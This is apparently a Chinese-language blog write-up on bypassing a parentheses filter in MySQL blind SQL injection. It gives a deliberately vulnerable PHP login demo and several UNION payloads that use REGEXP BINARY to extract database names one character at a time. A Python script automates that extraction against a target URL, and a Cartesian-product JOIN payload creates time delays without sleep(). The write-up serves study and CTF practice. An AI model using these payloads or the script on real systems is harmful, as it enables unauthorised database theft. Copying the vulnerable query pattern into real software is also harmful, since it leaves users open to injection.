做题和实战的时候都遇到了盲注点过滤了小括号的情况,小括号被过滤意味着无法使用mysql内置的所有函数。摸索出了一些不同场景下bypass的方法,记录下。

easy demo

贴一个小demo。

<?php
$user = $_REQUEST['user'];
if(preg_match("/\(|\)/", $user)){
    printf('illegal user');
    exit();
}
$conn = mysqli_connect('127.0.0.1', 'root', '', 'php3');
$sql = "select * from php3 where user = '$user'";
$result = mysqli_query($conn, $sql);

if (mysqli_num_rows($result) > 0) {
    echo "xxx";
} else {
    echo "username error";
}
?>

代码逻辑如下:

  1. 获取 request 变量$user
  2. 很明显的注入点select * from php3 where user = '$user'
  3. 如果存在查询得到的结果,返回 "xxx",否则返回 "username error"。(这里引入了回显中的bool差异方便注入)

表结构如下:
IMG20180226_152956.png

like && regexp 注入

一步一步来,首先构造如下exp:

' union select 1,2 from information_schema.tables where 1=2#

返回了"username error"

' union select 1,2 from information_schema.tables where 1=1#

返回了"xxx"

这样我们成功在1=2这里引入了一个盲注条件。


进一步构造,小括号被过滤,诸如substring()等字符串截取函数无法使用。盲注必然存在一个字符串比较的过程,这里的话我们可以使用like和regexp进行正则比较。实战发现regexp比较好用。exp如下:

' union select 1,2 from information_schema.tables where table_schema regexp binary '^.*$'#

(加上binary会使得大小写敏感,在获取字段内容时必须加上binary,血的教训- -!)

我们使用已知系统库information_schema进行逐字符验证。

' union select 1,2 from information_schema.tables where table_schema regexp binary '^i.*$'#

返回xxx

' union select 1,2 from information_schema.tables where table_schema regexp binary '^ib.*$'#

返回username error

' union select 1,2 from information_schema.tables where table_schema regexp binary '^in.*$'#

返回xxx

剩下的写脚本去跑。

easy 脚本

(这个easy 脚本花了我一下午。。。)

踩了几个坑:
1.当前表内有多个table_schema,需要去递归获取所有的table_schema,不然只能获取到字符排序最靠前的数据库名。
2.由于使用了正则匹配,需要对正则关键字进行转义。mysql中需要加上两个斜杠进行转义。

在一般的编程语言中,转义一般使用一个反斜线,在Mysql中为什么是两个才行?原因是:Mysql自己需要一个来识别,然后Mysql会将扣除了一个反斜杠的剩余的部分完全的交给正则表达式库解释,所以加起来就是两个了。

3.单个斜杠字符前面一共需要加三个斜杠,变成"\\\\"。"\\\\"被mysql转义为"\\",然后再交给正则表达式库转义成 "\"

#coding=utf-8
#Th1s

import requests
import string

url = "http://xxx/sqli.php"
payload = "' union select 'admin',2 from information_schema.tables where table_schema regexp binary '^%s.*$'#"
special_str = ".*()|[]{}\\^$+?"
final_result = []

def check2(now_str):
    for ch in string.printable:
        if ch in special_str:
            if ch == '\\':
                ch = '\\' + ch
            ch = '\\\\' + ch
        exp = payload % (now_str + ch)
        param = {'user': exp}
        if check(param):
            print now_str + ch
            check2(now_str + ch)
        if ch == string.printable[-1]:
            final_result.append(now_str)
            return

def check(param):
    r = requests.get(url, params=param)
    if "xxx" in r.content:
        return True
    else:
        return False

if __name__ == "__main__":
    check2("")

看起来效果还不错。
IMG20180226_160435.png

获取了table_schema以后就可以获取某个数据库下的所有表了。比如限定一下当前数据库为dnslog。

' union select 1,2 from information_schema.tables where table_schema='dnslog' and table_name regexp binary '^.*$'#

无bool回显的场景

上面的bypass都是基于有bool回显的。如果不存在bool回显呢?比如,我们修改下最初的demo,把bool回显的部分删掉。

<?php
$user = $_REQUEST['user'];
if(preg_match("/\(|\)/", $user)){
    printf('illegal user');
    exit();
}
$conn = mysqli_connect('127.0.0.1', 'root', '', 'php3');
$sql = "select * from php3 where user = '$user'";
$result = mysqli_query($conn, $sql);
//xxx
?>

由于小括号被过滤,sleep()、benchmark()都已经无法使用。那么这里有办法可以注出数据吗?

答案是可以利用查询笛卡尔积造成延时。利用多次join造成结果集的笛卡尔积非常大造成mysql延时。

union select 1, b.column_name from information_schema.tables a join information_schema.columns b join information_schema.columns c where 1=1

实战尝试一下:
where 1=1的时候已经造成非常大的延时了。
IMG20180226_161826.png

where 1=2基本无延时。
IMG20180226_161953.png

参考文献

Mysql必知必会(4):使用正则表达式搜索(REGEXP)